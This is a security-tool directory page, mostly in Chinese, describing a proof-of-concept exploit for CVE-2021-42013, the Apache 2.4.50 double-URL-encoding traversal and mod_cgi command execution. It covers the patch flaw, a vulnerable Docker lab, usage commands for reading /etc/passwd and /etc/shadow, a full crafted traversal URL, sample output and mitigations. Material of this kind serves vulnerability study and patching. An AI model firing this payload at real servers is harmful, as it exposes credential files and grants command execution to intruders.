Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-42013 — Proof-of-concept exploit for CVE-2021-42013, demonstrating path traversal and remote code execution on Apache 2.4.50 via double URL encoding bypass of the CVE-2021-41773 patch. | Kitploit
工具/GitHubGitHub/joapath/cve-2021-42013
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubjoapath/cve-2021-42013

CVE-2021-42013

Proof-of-concept exploit for CVE-2021-42013, demonstrating path traversal and remote code execution on Apache 2.4.50 via double URL encoding bypass of the CVE-2021-41773 patch.

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-42013 — PoC:路径遍历 + 通过 mod_cgi 实现 RCE(绕过补丁)

仅限在受控和自有环境中使用。未经授权不得针对系统使用。


描述

为演示 CVE-2021-42013 而开发的 PoC,该漏洞存在于 Apache HTTP Server 2.4.50 中。

此 CVE 是 Apache 为 CVE-2021-41773 发布的补丁的绕过方式。2.4.50 版本试图通过添加一项拒绝 .%2e 和 %2e. 序列的验证来修复之前的路径遍历漏洞。然而,该验证并不充分:它没有考虑到通过双重 URL 编码也能达到相同效果,因此留下了相同的攻击面。


与 CVE-2021-41773 的关系

CVE-2021-41773CVE-2021-42013
受影响版本Apache 2.4.49Apache 2.4.50
使用的编码.%2e/%%32%65%%32%65/
机制单次编码双重编码(绕过补丁)
是否可能 RCE是(需要 mod_cgi)是(需要 mod_cgi)
修复版本2.4.50(补丁不完整)2.4.51

为什么 2.4.50 的补丁失败了

Apache 2.4.50 的补丁在 ap_normalize_path() 中添加了一项验证,该验证会逐字查找请求路径中的 .%2e 和 %2e. 序列。如果找到,则用 400 或 403 拒绝该请求。

问题在于:该验证是在第二次 URL 解码之前对字符串执行的。如果 payload 是双重编码的,验证就找不到被禁止的序列,因为它尚未被解码——而当最终解码以解析文件系统路径时,../ 已经存在,遍历就能顺利发生。

root@kitploit:~
Payload:          %%32%65%%32%65/
2.4.50 验证查找: .%2e → 未找到 → 放行
第一次解码:       %%32%65%%32%65/ → %2e%2e/
第二次解码:       %2e%2e/         → ../
结果:            遍历成功

真正的修复在 2.4.51 版本中到来,Apache 重写了规范化逻辑,以便在应用任何安全验证之前完全解析路径。


双重编码 —— 工作原理

%%32%65 是 . 的双重编码表示:

root@kitploit:~
.  →  %2e  (标准编码)
%  →  %25  (符号 % 的编码)
2  →  %32  (字符 '2' 的编码)
e  →  %65  (字符 'e' 的编码)

因此,%2e 将其 % 进行编码,并将十六进制字符进行编码后,变为 %%32%65。

对 %%32%65 进行一次解码得到 %2e。第二次解码得到 .。


必要条件

条件详情
Apache 版本正好是 2.4.50
访问指令在暴露的目录中设置 Require all granted
CGI 模块启用 mod_cgi(仅用于 RCE)

测试环境

root@kitploit:~
# 存在漏洞的 Apache 2.4.50 镜像
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

或手动使用 Apache 2.4.50 并在 httpd.conf 中进行如下配置:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

脚本用法

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <命令>]

参数

示例

root@kitploit:~
# 读取 /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# 执行 id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# 带空格的命令
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

预期输出 —— traversal 模式

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 路径遍历 + RCE
  通过双重编码绕过 CVE-2021-41773 补丁
  PoC 仅供教育目的——仅限自有环境
============================================================

[+] 模式:路径遍历(双重编码——绕过 CVE-2021-41773 补丁)
[+] 目标:http://localhost:8080
[+] 编码:%%32%65%%32%65/ → %2e%2e/ → ../
[+] 构造的 URL:http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] 发送请求...

[+] 服务器存在漏洞!状态码:200
[+] 已确认:Apache 2.4.50 带有不完整补丁
=== /etc/passwd 内容:

root:x:0:0:root:/root:/bin/bash
...

预期输出 —— RCE 模式

root@kitploit:~
[+] 模式:通过 mod_cgi 实现 RCE(双重编码——绕过 CVE-2021-41773 补丁)
[+] 目标:http://localhost:8080
[+] 命令:id
[+] RCE 已确认!(Apache 2.4.50 —— 补丁不完整)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

缓解措施

  • 将 Apache 升级到 2.4.51 或更高版本。
  • 保持 Require all denied 为默认值。
  • 如非必要,禁用 mod_cgi。
  • 切勿在不审查的情况下相信任何补丁是完整的:对 2.4.51 差异的分析显示,真正的修复需要重写完整的规范化逻辑。

参考资料

  • NVD — CVE-2021-42013
  • Apache HTTP Server — 安全公告
  • Qualys — CVE-2021-41773 和 CVE-2021-42013 分析

PoC 基于教育目的开发,用于攻防安全资产展示。

下载工具
参数必需描述
--target是服务器的基础 URL(例如 http://localhost:8080)
--mode是traversal 用于读取文件,rce 用于执行命令
--cmd否在 rce 模式下要执行的命令(默认:id)